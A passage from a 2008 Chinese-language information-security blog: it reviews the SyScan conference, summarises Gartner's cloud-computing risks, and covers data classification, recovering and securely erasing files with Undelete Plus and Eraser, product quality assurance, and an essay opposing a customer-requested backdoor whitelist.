2. 扣除主辦單位自己的五個場次,另外四場是由其他國家的資安專家當主講人,而國內則有三場。雖然參加這樣的會議當然希望能夠多吸收國際上的知識,但是國內的主講人似乎過少了。回到第一點,主辦單位自己的場次似乎是有些多了。也有可能是因為國內要找資安技術的專家並不容易,而且是要活耀在這個社群中。
3. 整場會議並沒有提到與Virtualization相關的安全議題。以目前Virtualization相關技術的熱門程度與各家大小廠商的推動,這個議題應該是有研究的空間。不知道是因為技術太難還是太簡單,所以並沒有看到這樣的研究報告。
4. 台灣IT人員很關心的USB病毒也沒有看到相關議題。雖然有人提到USB病毒這個名詞,也一直說很難去防範,但是應該還是有人已經在研究或開始深入研究,畢竟這是目前及可見的未來對使用者很大的威脅。這點我承認是有點過頭了。因為講的資安技術,而不是目前流行的資安威脅。

經過12個場次下來,看得出來有些講師經常參加演講,有些人則是很少上台,所以表現的良莠不齊。我會參加這個會議有一半的原因是衝著阿瑪科技這個主辦商而來的,因為阿瑪科技主要專長在網站程式碼的安全檢測,這是我最近想好好研究的議題,甚至也不排除作為未來的發展方向。當然,網站安全不是只靠程式碼本身就可以達成,整體的設計與架構都有可能產生安全的問題。不過,這個已經不是這篇文章的主題了。在下一篇中,我會針對每個主講人的內容做一個簡單的介紹。不過因為我不是主辦單位的人員,所以沒有辦法提供圖片,只能憑記憶用文字說明了。

活動官方網站
SyScan 前瞻資安技術年會 官方網站與BLOG

2008年7月5日 星期六

你準備好降落傘了嗎? - 談雲端運算的安全議題

延續之前的熱潮,雲端運算(Cloud Computing)持續成為熱門的話題。之前我們看到在推廣雲端運算時可能遭遇到的問題,其中有多項議題與安全相關。在一份Gartner所發表的研究報告中,特別針對雲端運算所面臨安全上的議題做了一個完整的整理,共包含下列七項:

1. 特權使用者的管理 (Privileged User Access) - 特權使用者(如Windows的Administrator或是*nix的root)因為擁有幾乎絕對的權力,所以在使用上必須經過嚴密的管控。舉例來說,這些人員在進入公司前可能經過較為嚴格的背景調查。但是一旦將運算及資料都交付到服務供應商,這些系統的特權使用者將不再直接受公司管理,如何確保服務供應商能夠有效管理特權使用者將是一個很重要的議題。

2. 法規的遵守 (Regulatory Compliance) - 雖然公司透過服務供應商的服務執行公司營運的活動,但是遵守法規的責任仍舊屬於公司本身,而不是服務供應商。因此必須確保服務供應商的作業方式能夠符合法規要求,甚至在必要時加以稽核。

3. 資料所在的位置 (Data Location) - 這部分其實跟法規的遵守有關係,不過比較著重在有關資訊處理的隱私保護上。事實上,每個國家或地區對於隱私權的保護有不同的規範。所以如何確保資料處理能夠符合資料收集地點的法規以及
資料處理時所在位置當地的法規,是一個必須絕對遵守的要求。有些隱私權保護的規範,甚至會限制資料在未經授權前不可傳送至其他的國家或地區。

4. 資料的隔離 (Data Segregation) - 因為服務供應商同時提供服務給許多客戶,各個客戶間的資料是否已被有效的隔離,以避免資料被其他客戶看到而產生資料外洩的疑慮。

5. 回復能力(Recovery) - 雖然雲端運算之一的特點就是分散式的處理,所以不會因為單一設備的問題而中斷服務。但是再怎麼強調不中斷的系統,終會有服務中斷的機會。當發生問題時,服務與資料的回復能力,也是必須加以考量的。

6. 支援調查的能力(Investigation Support) - 因為服務供應商同時提供服務給許多客戶,再加上同一個客戶的服務可能在任意地方被執行,所以如果一但有法律調查上的需求時,這些可能交互混雜的使用紀錄是否能夠有效地的被取出並加以追蹤,將可能是一個複雜的問題。

7. 永續的使用性(Long-Term Viability)
- 即使雲端運算的系統可以提供長時間不中斷的服務,但是服務供應商本身卻不見得會永續經營。服務供應商可能退出市場、被併購或是客戶主動希望轉換平台,這個時候原先的資料是否能夠完整的取出甚至轉換到新的平台,就是一個很重要的議題。

這些問題除了透過SLA來規範服務供應商所應該具備的服務水準外,服務供應商更必須主動(或是被動)提出更為透明的資訊,以便讓使用者能夠完整了解服務供應商內部的管理與運作模式。當然,如果能夠有一些公正的第三方針對服務供應商作認證,我相信對使用者而言可以省下不少事情。不過我想,以目前的時機點而言,這樣的規範要產生並順利被推廣,應該是八字還沒一撇。雲端運算這樣的運作模式,對原先IT環境產生了不少本質上的衝擊,在資訊安全方面也是一樣。

原文出處:
Gartner: Seven cloud-computing security risks
Assessing the Security Risks of Cloud Computing (付費文件)

天生不平等 - 談資訊分類的重要性

根據一份研究報告指出,企業內儲存在網路上的資料,有高達90%的比例從未被讀取過。而其中被讀取過的檔案,有65%只被讀取過一次,只有極少數的檔案會被多次重複使用。當然,這個研究報告的觀察期僅為3個月,並不能完全代表資料真正的使用狀況,不過基本上的趨勢應該是一樣的。對此,該報告舉出兩個需要進一步思考的方向。第一個是雖然現在儲存設備的價格大幅下滑,但是實際上儲存其內的資料有很多是幾乎不會再被使用到的。所以為了達到更有效率的使用資源,這些大量且不常使用的資料可以儲放到較為慢速但便宜儲存設備。另外一個就是因為資料讀寫比例的接近,原有的預取(Pre-fetching)與快取(Caching)機制必須重新加以檢視,以便在新的使用狀況下保持快速存取的目的。而這些常被重複使用的檔案,有下列幾個特性:
  1. 跟使用者工作相關的檔案(這個應該是廢話)
  2. 在目錄結構上屬於較上層的目錄
  3. 很小的檔案大小
這件事跟資安有甚麼關係?廣義來說,資料的可用性(Availability)是屬於資訊安全的鐵三角(AIC - Availability, Integrity, Confidentiality)之一。如何有效率的規劃資料的儲存方式,除了從使用頻率的角度來考量外,也必須一併考量資料的重要性與機密性。一般而言,使用頻率會決定該資料最有效率的儲存方式,而資料的重要性與機密性則必須透過保護措施來加以確保,但是實際上兩者之間卻不是完全獨立的。舉例來說,如果大部分存放在網路的資料是不會再被存取的,那麼或許這些資料根本就不需要放在網路上讓人"自由"存取,因此保護機制的考量就不需要考慮網路存取所面臨的威脅。這類保護措施屬於風險規避(Avoidance)的類型,事實上是一種相當划算且有效的保護措施。而這樣的保護方式,如果沒有在規劃時將資料的實際使用情況考慮進去,是很難發現的。

因為資訊數量與種類越來越多,所以目前都是透過資料分類(Data Classification)的方式,將資料分成數個類別,而讓每個類別擁有自己的安全政策,而不是直接針對資料本身去定義。如果不這樣做,在安全管理上將會產生大量到無法有效負擔的工作內容。資訊的分類是最基本且重要的一個環節,如果沒有明確的做好資訊分類,會發生將寶貴的資源放在保護不重要資訊的憾事。更甚者,會發生重要的資源沒有足夠的保護措施加以防護。如此一來,不再只是沒有效率的問題,而是連基本的保護目的都沒有達成。所以說,資訊分類的好壞可以決定一個組織的資訊安全目標是否能夠順利達成。俗話說,人人生而平等,這句話在資訊安全的領域中,可絕對是不成立的。

另一方面,長久以來,對於資訊安全的定義都沒有一個明確的界線。從實務來看,從事資訊安全的人員,能夠對組織掌握的越多,就越能找出組織所面臨的風險與可採用的解決方案。所以,資訊安全跟很多管理議題一樣,都是組織層面的問題,也必須由組織的層級去加以考量與規劃,而不是IT (Information Technology)或IS (Information Security)單一部門的事情,甚至是任由系統管理者自己土法煉鋼。

原文出處:
Most Network Data Sits Untouched

2008年7月3日 星期四

看不見就等於不存在? - 如何安全刪除檔案

很多人都知道,Windows的作業系統有一個資源回收筒的功能(現在很多作業系統都有這樣的功能了),它會幫你把刪除的文件移到這個地方,以讓 你不會常常忽然喊出"Fxxk"這類不雅的文字。但是可能很少人會主動清除資源回收筒內的資料,因為既然這是一個防止誤刪的機制,主動去清除不就違反了它 原先的好意了嗎?幸運(還是不幸?)的是資源回收筒有使用空間的上限,所以就算你不去主動刪除,它也會正常運作。但是這樣的機制,從安全的角度來看卻是危險的。因為使用者可 能以為不存在的資料(尤其如果是使用者根本不知道有資源回收筒這個東西),其實就安靜的躺在筒子裡,等著任何稍具電腦知識的人去發現。

所 以,從資料安全的角度,至少我們應該確保重要的資料不會乖乖的躺在資源回收筒內。但是,如果我們主動將刪除的資料從資源回收筒加以清除,資料就真的不見了 嗎?再稍具電腦知識的人還知道,檔案的刪除在作業系統來說,不過是將檔案在硬碟的位置做個標記,讓日後作業系統要使用硬碟空間時知道這個空間是可以使用 的。所以,你的資料還是躺在那裏,只是作業系統會當作它不存在。以目前硬碟空間越來越大的情形,除非你是沒事灌爆硬碟的使用者,不然這些資料可能會躺在硬 碟內很長一段時間。而且,有很多工具可以找出這樣的檔案資料。這類工具可以用來解救誤刪再誤刪的檔案、可以用來解救損毀的硬碟,當然也可以讓別人找出你不 想要他看到的資料。以下,我會透過實際的例子讓大家看到這類工具的使用以及如何做才能有效的刪除檔案,我使用的工具為Undelete Plus(救回檔案)與Eraser(有效的刪除檔案)這兩套。相關的工具其實有很多,使用方式與功能也各有不同,但是觀念都是一樣的。Undelete Plus提供免安裝的版本(Green),而Eraser則必須經過安裝才能使用。Eraser為Open Source的軟體,有興趣的人還可以研究它的程式碼。

關於刪除檔案我需要補充說明一下,這類軟體的原理簡單來說就是在原先資料所在的磁碟位置,進行重複且雜亂的資料寫入,以期蓋掉原先的資料。但是因為硬碟本身是磁性物質,所以即使經過複寫,還是有可能被讀取到原先的資料(資料殘存),因此這類的工具都提供了不同的覆寫方式。大致上越複雜的演算法與越多次的覆寫可以達到越好的刪除效果,但是相對所花費的時間也就更多。另外,對硬碟的傷害也會越大。不過再好的演算法,原先的資料仍舊有可能被讀取到,只是困難度會增加很多,也需要很特殊的工具。這也是我說有效的刪除檔案,而不是完全的刪除檔案的原因。

到此,看圖說故事的時間到了:


Undelete Plus可以列出硬碟中可以找到的已刪除資料。為了測試方便,我使用一個剛格式化的USB隨身碟(G:),Undelete Plus顯示沒有任何已刪除的資料可以救回。

將某個檔案複製到USB隨身碟。

將檔案刪除,因為USB隨身碟沒有開啟資源回收筒的功能,所以不需要也沒辦法從資源回收筒救回。

Undelete Plus再次掃描USB隨身碟,發現一個檔案可以回復,而且狀態為良好(也就是很容易回復)。

使用Start Undelete功能將檔案救回,畫面顯示救回的檔案存放在"我的文件"資料夾之下。你可以檢查兩個檔案的MD5或是直接開啟檔案,確定救回的檔案跟原先是一樣的。

那麼,那我們該怎麼做才能確保資料不會被"救回"呢?該Eraser上場了。

安裝Eraser後會在右鍵的功能選單出現"Erase"與"Eraser Secure Move"兩個選項。我們要刪除檔案,所以選擇"Erase"。

出現確認的畫面,因為一旦刪除就真的再也救不回了。

選擇"Options"會出現設定畫面,可以選擇不同的覆寫方式。因為是測試,選甚麼都可以。

再次使用Undelete Plus掃描,發現一個可以回復的檔案。不過檔名變成亂碼,檔案大小也不對。你可以試著回覆這個檔案,不過內容已經沒有任何意義了。

Eraser也可以針對整個磁碟區做刪除保護的動作,不過時間上可能會很長。這個功能不是刪除磁碟區內的檔案,而是把已經刪除的檔案(未使用空間)做覆寫,以確保原始資料不復存在。我用USB隨身碟測試所花的時間還可以接受,不過對內接式的硬碟則沒有耐心等到程式執行完。

執行完再利用Undelete Plus掃描,找不到任何可以回復的檔案。

以資料安全的角度,作業系統這樣的設計是有很嚴重的問題。但是如果不這樣做,作業系統的效能會受到很嚴重的影響,甚至到了無法使用的狀態。另外,作業系統當初的設計就不是從安全的角度出發。這個又是一個使用性與安全性的取捨,而且我相信使用性會持續壓過安全性的需求。除非電腦的儲存裝置有根本的改變,否則這樣的問題就是會一直存在。我們如果有重要的資料不想被發現,那就最好找一個類似Eraser的工具,以避免在多年後發現自己當年不堪的資料(如自拍照)被人拿來當作勒索的工具。雖然有人來勒索通常表示你是一個有名或有錢的人物,不過這種事還是能免則免吧。

2008年6月17日 星期二

品質,不是說說就好。 - 談產品之品質

品質(Quality),一個大家常常說出口的名詞。大家在面對各式各樣的產品時,常常提到的是Bugs很多,所以應該要提高產品的品質。不過,對於品質這個名詞,其代表的意義遠遠不只於Bugs一事。對於品質一詞,有很多不同的解釋,其中有一個說法是"Quality是帶給特定人士的價值"。這個說法的重點在於品質是因人而異的,所以我們必須要知道產品實際客戶的需求,透過產品滿足他們的需求,並帶給他們所需的價值。

大致來看,Quality可分為兩個部分,一個是設計的品質(Quality of design)。這個部分強調的是如何設計出一個對客戶適用的產品(Fitness of use),屬於產品設計的範疇。另外一個則是符合規範的品質(Quality of conformance),也就是實際產出的產品是否遵守原先的設計,屬於實作的範疇。在實際的工作中,Quality of conformance屬於專案管理的部分,而Quality of design當然就屬於產品管理的部分。然而因為專案管理包含在產品管理內,所以Quality of conformance也屬於產品管理的一部份。對於品質的管理,首先公司必須訂定品質的要求標準。當然,客戶對此也會有自己的標準。一般而言,公司訂定的標準必須高於客戶的標準,才能順利驗收。對於像我們這類非代工的產品,並無法事先確認客戶為誰,所以在品質標準的訂定上面,就需要用比較嚴格的方式或採用業界普遍接受的標準。而為了達到要求的品質,通常透過品質保證(Quality Assurance, QA)品質控制(Quality Control, QC)兩個不同的手段。

簡單來說,QA是指透過在產品發展的各個流程中採用必要之控管手段,減少對產品品質的負面影響。而QC則是確保最後製作出來的產品符合公司品質的要求,也就是我們比較常聽到的文件確認與功能測試。QA與QC的概念很簡單卻也很重要,不過實際上很多公司(尤其不是製造業的公司)無法分別這兩者,甚至認為功能測試就是確保品質的唯一方法。關於此點,有興趣的人可以去104查看各公司的職務說明就知道了。如果沒有QA,僅僅靠QC只是避免有問題的產品交付到客戶的手上。但是現實是礙於時間與訂單的壓力,最後QC不過的產品仍舊有可能會交付到客戶的手上。所以不管從公司或是客戶的角度來設想,除了QC,QA是更為重要的一環。QA作的好,除了可以讓產品更容易符合QC的要求,也可以增加客戶滿意度並減少開發與維護的成本。

所以,品質到底包含哪些項目?產品的品質大概可以從下列幾個方向來加以衡量:
* 可了解性(Understandability)─包含產品的設計、操作介面與手冊等相關資訊都能讓使用者輕易了解。
* 完整性(Completeness)─必須完整地提供必要之功能。
* 準確性(Conciseness)─必須準確地提供必要之功能,不多也不少。
* 可攜性(Portability)─必須在不同的環境下都可以正常運作。關於此點應該是考慮到實際支援的環境,畢竟現實中不可能製作出在所有環境都能運作的產品。
* 一致性(Consistency)─在產品的設計與說明上,都必須提供一致性,也就是不能產生前後矛盾的現象。
* 可維護性(Maintainability)─維護包含功能的新增與修正。如果產品不能維護,大概很快就被市場淘汰了。
* 測試性(Testability)─設計與製作出來的產品必須能夠輕易加以測試。為了達成這個目的,通常在設計產品的時候就必須把測試需求一併加以考量。
* 可用性(Usability)─產品要實際有用才有價值。很基本的概念,但是實際上卻還是有很多不實用的產品。
* 可靠性(Reliability)─產品經過長時間的運作也不會失效。另外當環境變動時,產品依舊能夠正常運作。
* 架構(Structure)─好的架構可以提供良好的可維護性。
* 效率(Efficiency)─產品如何有效率地達成既定的功能。以軟體而言,減少包含CPU與記憶體等系統資源的消耗是一個很重要的項目。
* 安全(Security)─不管是不是安全相關的產品,目前對於各式產品的安全需求越來越嚴格。產品必須保護所處理資料的安全,並避免遭受惡意人士的破壞。同樣的,為了達成這個需求,在產品定義與設計的階段,就必須一併考量安全的需求。

最後,前面提到QC通常是透過產品功能測試來確保最後產品符合原先的設計(另外還有包含符合客戶的需求)。其實在QA的過程中,也會進行產品的測試,只不過這些測試並不是針對產品功能的部分。也就是說,測試其實包含許多不同的項目。以軟體而言,大致上可以分為
* 單元測試 (Unit Testing)
* 功能測試 (Functional Testing)
* 效能測試 (Performance Testing)
* 壓力測試 (Stress Testing)
* 失效測試 (Fail over Testing)
* 可用性測試 (Usability Testing)
* 使用者測試 (User Acceptance Testing)
* 安全測試 (Security Testing)
有關測試這個議題,我會另再擇期跟各位報告。

這個分享內容的重點在於產品品質是全方面的議題,而不僅僅只是bugs的多寡。另外,產品測試包含各種不同的測試項目,而所有這些測試項目也僅是確保產品品質的方法之一而已

2008年6月10日 星期二

黑貓白貓都可以,只要不是跛腳貓 - 提供使用者所需的功能是產品最基本也是最重要的目標

這兩天公司內部在討論本身所開發的產品時,業務提出了客戶的一個想法,某些客戶希望在原先產品的設計上加上一個特殊的"白名單"設定,而此一設定會造成這個產品的主要功能產生一個管理上的大漏洞。當然,客戶的說法是為了提供長官及外來貴賓一道方便門。對此,我其實可以猜想到這個需求應該是管理人員自己想要偷懶或是讓自己藉此不受限制。理由很簡單,因為從我聽到的說法跟客戶所遭遇的問題,其實根本就不需要也不應該利用這樣的解法。姑且不論對管理者而言這樣的說法"絕對"是完全錯誤的心態與行為,此一解法著實讓我們的產品出現了一個很大的漏洞。老實說,產品有漏洞也不是甚麼新鮮事。但是對於安全產品來說,是否真正能夠提供足夠的保護給予客戶,甚至自己產品本身是否安全,都是最重要的議題。而這樣大開方便門的設計,不但對組織目前造成立即性的威脅,對於未來的威脅性更大。如果管理者在交接之際,忘了關閉這樣的方便門,或是忘了交接下去,這就成了系統中永遠存在且不為人知的後門(不為人知並無法確保真的沒有人知道這樣的後門存在)。

對我而言,這樣的後門設定,即使產品本身已經特別加註如此設定的危險性,對產品本身功能的達成仍是有嚴重的危害。客戶會有這樣的想法不奇怪,但是公司與業務也完全聽從客戶的想法,著實讓我感到害怕不已。當然,我不是說客戶的想法都不切實際,而是開發者應該認真評估這樣的修改對於產品提供客戶問題解決能力所帶來的風險,確認風險是可以被接受才納入這樣的需求。否則,為了一兩個人的方便,把一個產品打成跛腳,我實在看不出來有何值得之處。尤其,當業務提出說不只一兩個客戶有這樣的需求時,你要反駁他還真是很難。畢竟當多數的接觸窗口(這裡我不用客戶,因為客戶應該指對方所有利害相關的人員)都說要的功能,不就應該是對產品有益的功能嗎?事情沒那麼簡單,因為同一個產業內的組織特性是比較接近的,再加上面對的都是管理人員,所以這樣的想法就代表所有客戶的想法了嗎?以我的認知來看,顯然需要再加強說服力才行。也就是部分管理人員≠全部管理人員≠全部客戶

以一個原廠的角色,我認為除了賣產品,更要把正確的使用概念傳達給客戶。很多人都在說,現在賣產品同時也在賣服務,甚至是以服務的重要性已經凌駕於產品之上。只是如果連基本的資安觀念都沒有,能做的服務不就還是重新啟動、重新安裝、重新報價(維護/擴充合約)...客戶付錢之後,能不能利用你所提供的產品解決他(這個他是指組織,而不是個人)的問題,才是產品最重要的價值所在。如果客戶用了你的產品,依舊不能解決問題,不管原因出在客戶自己身上或是產品本身,即使客戶沒有見怪,或是沒有直接反映他的抱怨,原廠都應該羞的無地自容才是。或者更積極的來說,唯有當客戶真正利用你的產品來預防或解決他所面對的問題,產品才能達到自我行銷的層次。

資訊安全不是靠產品,而是必須依靠組織的資訊安全政策與規範才能有效達成,產品只是協助政策與規範的落實。上述的需求是出於管理者自己的想法,還是組織政策的要求?如果只是管理者自己的想法,這樣做不但沒有滿足客戶的需求,反而是破壞了客戶的期望。採購案中Say Yes的人很重要,但是背後的使用者與經營階層更為重要,因為他們才是真正有影響力與受影響的人。除此之外,其實安全產品很重要的概念就是管理與監督兩種不同的功能與角色。今天監督者不會是管理者(IT人員),所以這樣的需求表示客戶的環境對於監督的角色是模糊的,也代表了產品本身一個不安全的設計。很可惜的是,客戶可能沒有安全政策,賣產品的業務不懂甚麼是安全政策,也不想去管甚麼安全政策,只想賣產品。畢竟公司是靠產品的收入維生。

原廠除了賣產品外,更要提升公司自身對於資訊安全的智能。除了可以更了解客戶所遭遇的問題,也可以取得顧客的信賴。當然,有些顧客就是不懂,或是認為他說了算,遇到這種客戶確實無能為力。但是,如果遇到的是認真且有實力的客戶,半桶水的公司或產品一定是吃(閉門)羹吃到飽。我們老希望提升國產產品的競爭力,期待與國外產品有一較高下的機會。但是真要提升產品的競爭力,應該是鎖定在有實力的客戶,還是渾渾噩噩過日的客戶?當然,在身為原廠的時候,這樣的堅持是很難的。但是能人所不能,或許是想要獲得成功前所必須經歷的階段。

About